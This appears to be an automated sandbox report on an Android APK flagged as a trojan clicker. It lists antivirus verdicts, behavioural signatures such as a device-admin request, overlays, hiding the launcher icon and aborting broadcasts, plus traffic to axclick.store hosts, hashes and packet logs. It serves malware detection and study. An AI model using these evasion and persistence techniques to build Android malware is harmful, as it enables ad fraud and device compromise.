Loading ...

Analysis Report

Overview

General Information

Joe Sandbox Version:20.0.0
Analysis ID:352751
Start time:10:20:54
Joe Sandbox Product:Cloud
Start date:30.08.2017
Overall analysis duration:0h 4m 24s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:twdlphqg_v1.3.5_apkpure.com.apk
Cookbook file name:defaultandroidfilecookbook.jbs
Analysis system description:Android x86 5.1
Detection:MAL
Classification:mal64.evad.troj.andAPK@0/251@4/0
Warnings:
Show All
  • Not all resource files were parsed


Detection

StrategyScoreRangeReportingDetection
Threshold640 - 100Report FP / FNmalicious


Classification

Signature Overview

Click to jump to signature section


AV Detection:

barindex
Antivirus detection for submitted fileShow sources
Source: twdlphqg_v1.3.5_apkpure.com.apkvirustotal: 27/61 detections Emsisoft: Android.Trojan.FakeApp.GC (B), GData: Android.Trojan.FakeApp.GC, Fortinet: Android/Generic.Z.5E472C!tr, Avira: ANDROID/Clicker.kjgjm, AegisLab: Android.Troj.Fakeapp!c, ESET-NOD32: a variant of Android/Clicker.HR, McAfee: Artemis!C3F25252F8BC, WhiteArmor: Malware.HighConfidence, Cyren: AndroidOS/GenBl.C3F25252!Olympus, Symantec: Trojan.Gen.2, Qihoo-360: Trojan.Android.Gen, BitDefender: Android.Trojan.FakeApp.GC, ZoneAlarm: HEUR:Trojan-Clicker.AndroidOS.Wirex.a, Rising: Trojan.Clicker/Android!8.457 (cloud:Ncg2hOruE5S), K7GW: Trojan ( 0051247f1 ), CAT-QuickHeal: Android.Simpo.F, NANO-Antivirus: Trojan.Android.Hidden.erpgmh, AhnLab-V3: Android-PUP/Clicker.6940a, Antiy-AVL: Trojan/Android.Fyec, TrendMicro-HouseCall: Suspicious_GEN.F47V0723, Arcabit: Android.Trojan.FakeApp.GC, SymantecMobileInsight: Other:Android.Reputation.2, Kaspersky: HEUR:Trojan.AndroidOS.Fyec.ggc, Ikarus: Trojan.AndroidOS.Clicker, DrWeb: Android.Hidden.3292, Alibaba: A.W.Rog.Clicker.U, MAX: malware (ai score=82)Perma Link

Privilege Escalation:

barindex
Starts an activity on device admin enabledShow sources
Source: com.twdlphqg.app.services.Rqdnonjuptjh;->onDisabled:11API Call: android.content.Context.startActivity (not executed)
Tries to add a new device administratorShow sources
Source: com.twdlphqg.app.ExplorationActivity;->RequestAdmin:71API Call: android.content.Intent.<init> android.app.action.ADD_DEVICE_ADMIN

E-Banking Fraud:

barindex
Has functionalty to add an overlay to other appsShow sources
Source: com.twdlphqg.app.TouchInterceptor;->startDragging:76API Call: WindowManager.addView

Networking:

barindex
Downloads compressed data via HTTPShow sources
Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKLast-Modified: Tue, 29 Aug 2017 10:18:18 GMTContent-Type: text/htmlContent-Length: 4092Content-Encoding: gzipVary: Accept-EncodingDate: Wed, 30 Aug 2017 08:21:40 GMTAccept-Ranges: bytesServer: LiteSpeedConnection: Keep-AliveData Raw: 1f 8b 08 00 00 00 00 00 00 03 cd 59 59 93 a3 48 92 7e 9f 5f a1 ad b5 35 9b 31 3a 8b 5b 40 75 55 db 72 83 24 10 20 40 a0 37 6e 10 a7 b8 a5 b5 fd ef 0b 99 75 64 66 77 75 ef 8c ed c3 c6 83 20 c2 3d 3c dc bf 70 f7 40 1e 9f ff 8d 3b b2 a6 ab f1 9b b4 2f 8b df fe f6 f9 e5 b1 59 da e7 34 f2 c2 df fe f6 fc 5a 46 bd b7 70 f4 cd 53 74 1b b2 f1 cb 07 b6 ae fa a8 ea 9f fa 7b 13 7d d8 04 2f bd 2f 1f fa 68 ee c1 55 c4 af 9b 20 f5 da 2e ea bf 0c 7d fc 44 7e f8 a9 1c 2f 48 a3 a7 75 7e 5b 17 af 04 55 f5 53 b0 92 7e 3a 51 6b bd a4 f4 fe 99 19 fc dc 64 6d d4 bd 9a 02 bd 91 5e 79 65 f4 e5 c3 98 45 53 53 b7 fd 2b b6 29 0b fb f4 4b 18 8d 59 10 3d 3d 77 7e d9 64 55 d6 67 5e f1 d4 05 5e 11 7d 81 3f 7e 17 d5 67 7d 11 fd 46 07 41 3d 54 fd e6 34 74 4d 54 85 51 f8 19 7c 21
Downloads files from webservers via HTTPShow sources
Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: g.axclick.storeConnection: keep-alivePragma: no-cacheCache-Control: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; VirtualBox Build/LMY48W) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: en-USX-Requested-With: com.twdlphqg.app
Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: u.axclick.storeConnection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; VirtualBox Build/LMY48W) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: en-USX-Requested-With: com.twdlphqg.app
Source: global trafficHTTP traffic detected: GET /font-awesome/4.3.0/css/font-awesome.min.css HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveAccept: text/css,*/*;q=0.1User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; VirtualBox Build/LMY48W) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Safari/537.36Referer: http://u.axclick.store/Accept-Encoding: gzip, deflateAccept-Language: en-USX-Requested-With: com.twdlphqg.app
Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Aug 2017 08:21:41 GMTContent-Type: text/cssTransfer-Encoding: chunkedConnection: keep-aliveLast-Modified: Thu, 22 Jan 2015 19:53:38 GMTETag: W/"04425bbdc6243fc6e54bf8984fe50330"Server: NetDNA-cache/2.2Expires: Sat, 25 Aug 2018 08:21:41 GMTCache-Control: max-age=31104000Vary: Accept-EncodingAccess-Control-Allow-Origin: *X-Hello-Human: Say hello back! @getBootstrapCDN on TwitterX-Cache: HITContent-Encoding: gzipData Raw: 31 37 35 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5c 5b 8f db 38 96 7e df 5f e1 9d c6 6c 92 41 54 31 e5 72 5d 5c 98 dd de 0b 06 68 a0 07 f3 d0 f3 b0 0f fb 42 49 94 cd 94 2c 29 ba 94 ab 12 e4 bf cf 21 79 8e 2c 55 7d f4 66 d1 2f db 08 d0 65 e9 88 a4 c8 8f e7 fa 51 9f fe f4 cf ff b4 fa d3 6a f5 97 a6 1e 56 ff 7e 32 7d 73 34 ab eb ab cd d5 7a 95 bd ac 7e 2e f4 93 d9 eb ba 78 59 25 ab c3 30 b4 bb 4f 9f 4a 92 d4 41 f0 ca 36 74 fd e7 d9 15 df d6 af 36 37 75 6f 62 8f 7c aa f8 fe 7b d7 e9 6e f5 db 2f bf ae fe f6 97 5f 57 ea 4a 7d 5c fd e7 6f bf
Source: global trafficHTTP traffic detected: GET /font-awesome/4.3.0/fonts/fontawesome-webfont.woff2?v=4.3.0 HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; VirtualBox Build/LMY48W) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Safari/537.36Origin: http://u.axclick.storeAccept: */*Referer: http://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.cssAccept-Encoding: gzip, deflateAccept-Language: en-USX-Requested-With: com.twdlphqg.app
Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Aug 2017 08:21:41 GMTContent-Type: application/font-woff2Content-Length: 56780Connection: keep-aliveLast-Modified: Fri, 27 Feb 2015 19:45:39 GMTETag: "97493d3f11c0a3bd5cbd959f5d19b699"Server: NetDNA-cache/2.2Expires: Sat, 25 Aug 2018 08:21:41 GMTCache-Control: max-age=31104000Vary: Accept-EncodingAccess-Control-Allow-Origin: *X-Hello-Human: Say hello back! @getBootstrapCDN on TwitterX-Cache: HITAccept-Ranges: bytesData Raw: 77 4f 46 32 00 01 00 00 00 00 dd cc 00 0e 00 00 00 01 dc e4 00 00 dd 6c 00 04 00 c5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 46 46 54 4d 1c 1a 1e 06 60 00 85 42 11 08 0a 86 e3 64 85 b4 5a 01 36 02 24 03 91 2a 0b 88 5c 00 04 20 05 87 00 07 ab 1e 3f 77 65 62 66 06 5b 05 80 71 86 71 7b 21 51 d1 9d 50 ea b7 f7 d2 1b 87 19 05 ba 1d 44 41 c5 ef b7 6e 85 ec 7c 31 be a3 fd f9 a9 d9 ff ff ff bf 20 59 8c e1 ee 0f bc 47 40 54 75 3a 4b 5b 55 33 b2 9e fa 84 2c c8 e1 a6 14 47 ca 5e b3 63 28 70 d4 36 62 f2 8a 6c 0a 66 2d 6b b
Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: g.axclick.storeConnection: keep-alivePragma: no-cacheCache-Control: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; VirtualBox Build/LMY48W) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: en-USX-Requested-With: com.twdlphqg.app
Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: g.axclick.storeConnection: keep-alivePragma: no-cacheCache-Control: no-cacheAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; VirtualBox Build/LMY48W) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: en-USX-Requested-With: com.twdlphqg.app
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: g.axclick.store
Urls found in memory or binary dataShow sources
Source: androidString found in binary or memory: http://g.axclick.store/
Source: main_menu.xml, abc_action_menu_layout.xmlString found in binary or memory: http://schemas.android.com/apk/res-auto
Source: abc_action_menu_layout.xmlString found in binary or memory: http://schemas.android.com/apk/res-auto44android.support.v7.internal.view.menu.actionmenuview
Source: album_item_layout.xml, rectangle_bg_white.xml, abc_item_background_holo_dark.xml, abc_action_bar_decor.xmlString found in binary or memory: http://schemas.android.com/apk/res/android
Source: abc_expanded_menu_layout.xmlString found in binary or memory: http://schemas.android.com/apk/res/android66android.support.v7.internal.view.menu.expandedmenuview
Source: abc_popup_menu_item_layout.xmlString found in binary or memory: http://schemas.android.com/apk/res/android66android.support.v7.internal.view.menu.listmenuitemview
Source: abc_action_bar_decor_overlay.xmlString found in binary or memory: http://schemas.android.com/apk/res/android99android.support.v7.internal.widget.actionbaroverlaylayou
Source: androidString found in binary or memory: http://u.axclick.store/
Loads a webpage with cache disabledShow sources
Source: com.twdlphqg.app.services.Ryiidrxcjmfb;->snewxwricc:14API Call: android.webkit.WebSettings.setCacheMode
Source: com.twdlphqg.app.services.Ryiidrxcjmfb;->snewxwriii:53API Call: android.webkit.WebSettings.setCacheMode
Potential DDOS routine foundShow sources
Source: com.twdlphqg.app.services.Ryiidrxcjmfb;->snewxwriii:56API Calls in same method context: WebSettings.setCacheMode,WebView.clearCache,WebView.clearHistory,WebView.loadUrl
Source: com.twdlphqg.app.services.Ryiidrxcjmfb;->snewxwricc:18API Calls in same method context: WebSettings.setCacheMode,WebView.clearCache,WebView.clearHistory,WebView.loadUrl

Data Obfuscation:

barindex
Uses reflectionShow sources
Source: unknownAPI Call: Real call: void android.widget.AutoCompleteTextView.doBeforeTextChanged()
Source: unknownAPI Call: Real call: void android.widget.AutoCompleteTextView.doAfterTextChanged()
Source: unknownAPI Call: Real call: public void android.view.inputmethod.InputMethodManager.showSoftInputUnchecked(int,android.os.ResultReceiver)

System Summary:

barindex
Classification labelShow sources
Source: classification engineClassification label: mal64.evad.troj.andAPK@0/251@4/0
Creates SQLiteDatabase tableShow sources
Source: com.twdlphqg.app.dals.DB;->onCreate:57API Call: android.database.sqlite.SQLiteDatabase.execSQL
Requests potentially dangerous permissionsShow sources
Source: submitted apkRequest permission: android.permission.INTERNET
Source: submitted apkRequest permission: android.permission.WRITE_EXTERNAL_STORAGE
Source: submitted apkRequest permission: android.permission.WRITE_SETTINGS

Hooking and other Techniques for Hiding and Protection:

barindex
Aborts a broadcast event (this is often done to hide phone events such as incoming SMS)Show sources
Source: com.twdlphqg.app.services.Rqdnonjuptjh;->onDisableRequested:2API Call: com.twdlphqg.app.services.Rqdnonjuptjh.abortBroadcast
Removes its application launcher (likely to stay hidden)Show sources
Source: com.twdlphqg.app.ExplorationActivity;->snewxwrivv:174API Call: android.content.pm.PackageManager.setComponentEnabledSetting

Antivirus Detection

Initial Sample

SourceRatioCloudLink
twdlphqg_v1.3.5_apkpure.com.apk27/61virustotalBrowse

Dropped Files

No Antivirus matches

Domains

SourceRatioCloudLink
maxcdn.bootstrapcdn.com1/65virustotalBrowse
u.axclick.store0/65virustotalBrowse
g.axclick.store1/65virustotalBrowse

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Screenshot

android-buttoncam-android

Created / dropped Files

No created / dropped files found

Contacted Domains/Contacted IPs

Contacted Domains

NameIPActiveMaliciousAntivirus Detection
maxcdn.bootstrapcdn.com94.31.29.55truefalse1/65, virustotal, Browse
u.axclick.store217.182.173.145truefalse0/65, virustotal, Browse
g.axclick.store217.182.173.145truefalse1/65, virustotal, Browse

Contacted IPs

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs
IPCountryFlagASNASN NameMalicious
8.8.8.8United States
15169GoogleIncfalse
192.168.1.33unknown
unknownunknownfalse
94.31.29.55United Kingdom
17025AbovenetCommunicationsIncfalse
217.182.173.145United Kingdom
5503RMEducationPLCfalse

Static File Info

General

File type:Zip archive data, at least v2.0 to extract
TrID:
  • Android Package (19004/1) 49.99%
  • Java Archive (13504/1) 35.53%
  • ZIP compressed archive (4004/1) 10.53%
  • Java Script embedded in Visual Basic Script (1500/0) 3.95%
File name:twdlphqg_v1.3.5_apkpure.com.apk
File size:1070709
MD5:c3f25252f8bc3361e426564ac2715109
SHA1:8e83d2bcf6a11d39acc63c2aa3f71f5950c37a56
SHA256:168624d9d9368155b7601e7e488e23ddf1cd0c8ed91a50406484d57d15ac7cc3
SHA512:68320d2b18315b0a09c238433721b4e76132cda6d6cefd1295a3aaacfc6d5686ff3874f1b2bebb30ca0ae0139fba65c62d24a94bdf02eda73930620a41d61c2e
File Content Preview:PK.........|.J................AndroidManifest.xml.X]O.W.~g..U@@.*...D......[DE.#`..q..!......4.i.....]....i.....0.h....iz.4M..}......w..yvf.9..~.{..%Jq.~?.C...%z.....x....3.m....|.<...............w.3.G..@...d...O...o....(Q.x...\."..6.g./.o@{.Z......h.F4.|

File Icon

Static APK Info

General

Label:Data Storage
Minimum SDK required:14
Target SDK required:14
Version Code:1
Version Name:1
Package Name:com.twdlphqg.app
Is Activity:true
Is Receiver:true
Is Service:true
Requests System Level Permissions:false
Play Store Compatible:true

Activities

NameIs Entrypoint
com.twdlphqg.appcom.twdlphqg.app.SplashActivitytrue
com.twdlphqg.appcom.twdlphqg.app.ExplorationActivity
com.twdlphqg.appcom.twdlphqg.app.TrackActivity
com.twdlphqg.appcom.twdlphqg.app.PlayerActivity
com.twdlphqg.appcom.twdlphqg.app.SearchActivity

Receivers

  • com.twdlphqg.app.adapter.Rloueesjulyo
  • Intent: android.net.conn.CONNECTIVITY_CHANGE
  • com.twdlphqg.app.services.Rqdnonjuptjh
  • Intent: android.app.action.DEVICE_ADMIN_ENABLED

Services

  • com.twdlphqg.app.conf.Rmlsgfvgbscu
  • com.twdlphqg.app.services.AudioPlayerService
  • com.twdlphqg.app.services.Ryiidrxcjmfb

Permission Requested

  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.ACCESS_WIFI_STATE
  • android.permission.INTERNET
  • android.permission.WRITE_EXTERNAL_STORAGE
  • android.permission.WRITE_SETTINGS

Certificate

Name:classes.dex
Issuer:CN=Android,OU=Android,O=Google Inc.,L=Mountain View,ST=California,C=US
Subject:CN=Android,OU=Android,O=Google Inc.,L=Mountain View,ST=California,C=US

Resources

NameType
abc_textfield_search_selected_holo_light.9.png
abc_cab_background_bottom_holo_light.9.png
player_fragment_layout.xml
border_top.xml
abc_ic_voice_search_api_holo_light.png
ic_btn_shuffle_pressed.png
seekbar_prg_bg.xml
abc_cab_background_top_holo_dark.9.png
abc_list_pressed_holo_dark.9.png
abc_textfield_search_right_selected_holo_light.9.png
abc_ic_commit_search_api_holo_light.png
abc_ic_ab_back_holo_dark.png
abc_ab_stacked_solid_dark_holo.9.png
abc_search_view.xml
ic_album.png
abc_list_selector_disabled_holo_light.9.png
abc_ic_ab_back_holo_light.png
abc_spinner_ab_disabled_holo_dark.9.png
abc_textfield_searchview_holo_light.xml
abc_menu_dropdown_panel_holo_light.9.png
abc_textfield_search_default_holo_light.9.png
abc_list_divider_holo_light.9.png
abc_spinner_ab_default_holo_light.9.png
abc_menu_hardkey_panel_holo_dark.9.png
abc_ab_bottom_transparent_light_holo.9.png
abc_ab_solid_dark_holo.9.png
splash_layout.xml
abc_textfield_search_right_selected_holo_light.9.png
abc_textfield_search_right_default_holo_dark.9.png
abc_ic_clear_search_api_disabled_holo_light.png
abc_ic_commit_search_api_holo_dark.png
abc_textfield_search_right_default_holo_dark.9.png
abc_ic_clear_search_api_holo_light.png
ic_btn_sound_enabled.png
abc_textfield_search_selected_holo_dark.9.png
img_pr_blue_bg.png
ic_btn_create_playlist.png
resources.arsc
abc_list_selector_disabled_holo_dark.9.png
abc_ic_menu_share_holo_dark.png
abc_action_menu_item_layout.xml
playlist_item_select_layout.xml
abc_ic_menu_moreoverflow_normal_holo_dark.png
abc_ic_search_api_holo_light.png
abc_spinner_ab_pressed_holo_dark.9.png
abc_ic_cab_done_holo_dark.png
abc_ic_voice_search.png
abc_textfield_search_default_holo_dark.9.png
abc_list_focused_holo.9.png
abc_ab_share_pack_holo_light.9.png
ic_back.png
abc_ab_bottom_transparent_light_holo.9.png
abc_ic_commit_search_api_holo_light.png
abc_spinner_ab_focused_holo_light.9.png
abc_spinner_ab_focused_holo_dark.9.png
abc_textfield_search_default_holo_light.9.png
abc_tab_selected_holo.9.png
abc_list_divider_holo_dark.9.png
img_pr_bg.png
abc_tab_selected_pressed_holo.9.png
abc_ab_transparent_light_holo.9.png
abc_spinner_ab_pressed_holo_light.9.png
player_activity_layout.xml
abc_list_selector_background_transition_holo_light.xml
abc_ab_bottom_solid_dark_holo.9.png
abc_ab_stacked_transparent_light_holo.9.png
main_menu.xml
abc_list_pressed_holo_dark.9.png
abc_list_selector_disabled_holo_dark.9.png
abc_tab_selected_pressed_holo.9.png
abc_spinner_ab_default_holo_light.9.png
abc_cab_background_top_holo_dark.9.png
abc_list_focused_holo.9.png
abc_ab_stacked_solid_light_holo.9.png
abc_cab_background_bottom_holo_dark.9.png
abc_cab_background_top_holo_light.9.png
abc_menu_dropdown_panel_holo_light.9.png
abc_ic_clear_normal.png
abc_tab_selected_focused_holo.9.png
abc_spinner_ab_disabled_holo_light.9.png
disc_fragment_layout.xml
abc_list_longpressed_holo.9.png
icon.png
img_pr_fill_bg.png
ic_btn_prev.png
abc_ic_search_api_holo_light.png
abc_ab_transparent_dark_holo.9.png
abc_ab_stacked_solid_light_holo.9.png
abc_textfield_searchview_right_holo_dark.xml
abc_tab_selected_focused_holo.9.png
abc_cab_background_bottom_holo_dark.9.png
abc_tab_indicator_ab_holo.xml
abc_menu_hardkey_panel_holo_light.9.png
track_item_layout.xml
abc_menu_hardkey_panel_holo_dark.9.png
ic_spinner_arrow.png
abc_ic_voice_search_api_holo_light.png
abc_list_divider_holo_dark.9.png
abc_ic_clear.xml
abc_ab_stacked_solid_dark_holo.9.png
abc_ic_voice_search.png
abc_action_bar_home.xml
img_circle.png
abc_ab_transparent_dark_holo.9.png
abc_ic_cab_done_holo_light.png
track_item_select_layout.xml
abc_list_selector_disabled_holo_light.9.png
abc_menu_dropdown_panel_holo_dark.9.png
abc_ab_bottom_solid_light_holo.9.png
playlist_item_layout.xml
abc_ab_stacked_solid_light_holo.9.png
abc_textfield_search_right_default_holo_dark.9.png
GOOGPLAY.RSA
abc_spinner_ab_focused_holo_light.9.png
abc_spinner_ab_default_holo_dark.9.png
abc_action_bar_decor_overlay.xml
abc_tab_unselected_pressed_holo.9.png
abc_ic_clear_normal.png
abc_textfield_search_default_holo_dark.9.png
abc_ic_search.png
abc_spinner_ab_pressed_holo_light.9.png
abc_slide_out_bottom.xml
abc_menu_hardkey_panel_holo_light.9.png
abc_ic_clear_search_api_disabled_holo_light.png
exploration_activity_layout.xml
abc_ab_bottom_transparent_light_holo.9.png
abc_search_dropdown_dark.xml
abc_ic_menu_moreoverflow_normal_holo_dark.png
ic_btn_repeat_pressed.png
abc_spinner_ab_holo_dark.xml
abc_ic_menu_share_holo_light.png
abc_ic_menu_share_holo_light.png
abc_ic_clear_search_api_disabled_holo_light.png
abc_cab_background_top_holo_light.9.png
abc_ic_clear_search_api_holo_light.png
abc_spinner_ab_focused_holo_dark.9.png
abc_list_longpressed_holo.9.png
abc_ab_bottom_transparent_dark_holo.9.png
abc_menu_dropdown_panel_holo_dark.9.png
abc_list_selector_disabled_holo_dark.9.png
abc_activity_chooser_view.xml
abc_list_pressed_holo_light.9.png
abc_ic_clear_disabled.png
abc_spinner_ab_pressed_holo_dark.9.png
abc_cab_background_top_holo_dark.9.png
abc_spinner_ab_disabled_holo_light.9.png
border_bottom.xml
ic_btn_play.png
abc_list_pressed_holo_light.9.png
abc_ic_clear_disabled.png
abc_ic_search_api_holo_light.png
cd.png
ic_download_dark.png
abc_textfield_search_right_selected_holo_dark.9.png
abc_ic_go.png
abc_textfield_search_right_default_holo_light.9.png
abc_action_bar_view_list_nav_layout.xml
abc_ab_solid_dark_holo.9.png
abc_ic_menu_share_holo_light.png
listview_track_in_queue_layout.xml
abc_popup_menu_item_layout.xml
abc_expanded_menu_layout.xml
ic_logo.png
abc_ic_menu_moreoverflow_normal_holo_dark.png
abc_ab_stacked_solid_dark_holo.9.png
abc_action_bar_tabbar.xml
grablines.xml
abc_list_divider_holo_dark.9.png
seekbar_prg.xml
abc_menu_hardkey_panel_holo_light.9.png
abc_textfield_search_right_selected_holo_dark.9.png
abc_ab_stacked_transparent_light_holo.9.png
abc_ab_solid_light_holo.9.png
abc_ic_cab_done_holo_light.png
ic_btn_shuffle.png
abc_ab_stacked_transparent_dark_holo.9.png
abc_textfield_search_selected_holo_light.9.png
abc_spinner_ab_disabled_holo_dark.9.png
rectangle_bg_orange.xml
abc_textfield_search_right_selected_holo_dark.9.png
abc_ic_menu_share_holo_dark.png
abc_textfield_search_right_selected_holo_light.9.png
MANIFEST.MF
abc_search_dropdown_light.xml
abc_action_menu_layout.xml
abc_spinner_ab_default_holo_dark.9.png
abc_activity_chooser_view_list_item.xml
abc_menu_dropdown_panel_holo_dark.9.png
abc_ab_transparent_light_holo.9.png
abc_textfield_search_selected_holo_light.9.png
list_item_pressed.xml
abc_action_bar_decor_include.xml
abc_ic_menu_moreoverflow_normal_holo_light.png
abc_ic_voice_search.png
abc_ic_search.png
abc_ab_bottom_solid_dark_holo.9.png
abc_ab_bottom_solid_light_holo.9.png
abc_menu_hardkey_panel_holo_dark.9.png
abc_ab_transparent_dark_holo.9.png
abc_ab_transparent_light_holo.9.png
track_in_queue_item_layout.xml
abc_textfield_search_selected_holo_dark.9.png
listview_container_layout.xml
abc_ic_go_search_api_holo_light.png
abc_list_selector_holo_light.xml
abc_ab_bottom_solid_dark_holo.9.png
abc_action_bar_decor.xml
btn_repeat.xml
abc_list_selector_background_transition_holo_dark.xml
my_admin
abc_ic_commit_search_api_holo_dark.png
list_item_normal.xml
abc_ab_solid_light_holo.9.png
abc_tab_unselected_pressed_holo.9.png
abc_slide_out_top.xml
AndroidManifest.xml
abc_spinner_ab_disabled_holo_light.9.png
abc_list_focused_holo.9.png
abc_ic_ab_back_holo_dark.png
abc_textfield_search_default_holo_dark.9.png
abc_fade_out.xml
abc_list_pressed_holo_light.9.png
abc_ic_go.png
abc_ic_cab_done_holo_light.png
abc_list_selector_holo_dark.xml
abc_ic_menu_share_holo_dark.png
abc_item_background_holo_light.xml
menu_spinner.xml
ic_small_logo.png
abc_ab_stacked_transparent_dark_holo.9.png
abc_spinner_ab_holo_light.xml
abc_list_selector_disabled_holo_light.9.png
abc_ab_share_pack_holo_dark.9.png
abc_cab_background_bottom_holo_dark.9.png
abc_activity_chooser_view.xml
abc_tab_unselected_pressed_holo.9.png
dropdown_menu_item_layout.xml
abc_textfield_search_right_default_holo_light.9.png
abc_cab_background_bottom_holo_light.9.png
abc_tab_selected_holo.9.png
abc_ab_stacked_transparent_dark_holo.9.png
abc_textfield_searchview_holo_dark.xml
ic_btn_next.png
abc_ab_share_pack_holo_dark.9.png
abc_ic_ab_back_holo_light.png
abc_search_url_text_holo.xml
album_item_layout.xml
abc_list_divider_holo_light.9.png
rectangle_bg_white.xml
abc_item_background_holo_dark.xml
abc_action_bar_decor.xml
abc_textfield_search_right_default_holo_light.9.png
ic_remove.png
ic_btn_search.png
abc_ic_menu_moreoverflow_normal_holo_light.png
abc_tab_selected_holo.9.png
GOOGPLAY.SF
btn_shuffle.xml
abc_ic_voice_search_api_holo_light.png
abc_ic_ab_back_holo_dark.png
abc_ic_commit_search_api_holo_light.png
abc_ab_solid_light_holo.9.png
abc_ic_menu_moreoverflow_normal_holo_light.png
abc_ic_commit_search_api_holo_dark.png
abc_cab_background_bottom_holo_light.9.png
icon.png
no_result_match_fragment.xml
abc_spinner_ab_pressed_holo_light.9.png
abc_slide_in_top.xml
abc_spinner_ab_default_holo_dark.9.png
abc_textfield_search_default_holo_light.9.png
img_btn_thumb_pressed.png
abc_ab_bottom_solid_light_holo.9.png
abc_ic_ab_back_holo_light.png
abc_tab_selected_pressed_holo.9.png
abc_ic_search.png
abc_ic_cab_done_holo_dark.png
abc_spinner_ab_default_holo_light.9.png
abc_list_longpressed_holo.9.png
abc_ab_share_pack_holo_light.9.png
abc_list_menu_item_radio.xml
abc_menu_dropdown_panel_holo_light.9.png
abc_cab_background_top_holo_light.9.png
abc_list_menu_item_layout.xml
abc_activity_chooser_view_include.xml
classes.dex
abc_list_menu_item_icon.xml
artist_item_layout.xml
abc_ab_stacked_transparent_light_holo.9.png
abc_action_bar_title_item.xml
abc_slide_in_bottom.xml
abc_ic_clear_disabled.png
searchable.xml
ic_btn_pause.png
abc_tab_selected_focused_holo.9.png
ic_done.png
abc_action_mode_close_item.xml
ic_drag_drop.png
abc_ic_clear_search_api_holo_light.png
abc_spinner_ab_disabled_holo_dark.9.png
abc_ab_share_pack_holo_light.9.png
abc_action_bar_tab.xml
abc_list_pressed_holo_dark.9.png
abc_fade_in.xml
ic_btn_sound_disabled.png
abc_ab_bottom_transparent_dark_holo.9.png
abc_ic_go.png
seekbar_thumb.xml
abc_ab_share_pack_holo_dark.9.png
abc_textfield_search_selected_holo_dark.9.png
abc_action_mode_bar.xml
abc_ic_clear_holo_light.xml
abc_spinner_ab_pressed_holo_dark.9.png
abc_ic_go_search_api_holo_light.png
ic_btn_repeat.png
abc_ab_solid_dark_holo.9.png
icon.png
list_item.xml
abc_ic_cab_done_holo_dark.png
support_simple_spinner_dropdown_item.xml
abc_list_menu_item_checkbox.xml
abc_spinner_ab_focused_holo_light.9.png
abc_ab_bottom_transparent_dark_holo.9.png
abc_ic_go_search_api_holo_light.png
abc_textfield_searchview_right_holo_light.xml
abc_list_divider_holo_light.9.png
abc_search_dropdown_item_icons_2line.xml
abc_spinner_ab_focused_holo_dark.9.png

Network Behavior

Network Port Distribution

TCP Packets

TimestampSource PortDest PortSource IPDest IP
Aug 30, 2017 10:21:12.890083075 CEST6213153192.168.1.338.8.8.8
Aug 30, 2017 10:21:13.073537111 CEST53621318.8.8.8192.168.1.33
Aug 30, 2017 10:21:36.550931931 CEST6313053192.168.1.338.8.8.8
Aug 30, 2017 10:21:36.751703024 CEST53631308.8.8.8192.168.1.33
Aug 30, 2017 10:21:40.153615952 CEST5844653192.168.1.338.8.8.8
Aug 30, 2017 10:21:40.153883934 CEST3294153192.168.1.338.8.8.8
Aug 30, 2017 10:21:40.597537994 CEST53584468.8.8.8192.168.1.33
Aug 30, 2017 10:21:40.598257065 CEST3289980192.168.1.33217.182.173.145
Aug 30, 2017 10:21:40.598308086 CEST8032899217.182.173.145192.168.1.33
Aug 30, 2017 10:21:40.598459005 CEST3289980192.168.1.33217.182.173.145
Aug 30, 2017 10:21:40.599170923 CEST3289980192.168.1.33217.182.173.145
Aug 30, 2017 10:21:40.599190950 CEST8032899217.182.173.145192.168.1.33
Aug 30, 2017 10:21:40.743299961 CEST8032899217.182.173.145192.168.1.33
Aug 30, 2017 10:21:40.743499041 CEST3289980192.168.1.33217.182.173.145
Aug 30, 2017 10:21:40.759881973 CEST53329418.8.8.8192.168.1.33
Aug 30, 2017 10:21:40.760739088 CEST3290080192.168.1.33217.182.173.145
Aug 30, 2017 10:21:40.760791063 CEST8032900217.182.173.145192.168.1.33
Aug 30, 2017 10:21:40.760966063 CEST3290080192.168.1.33217.182.173.145
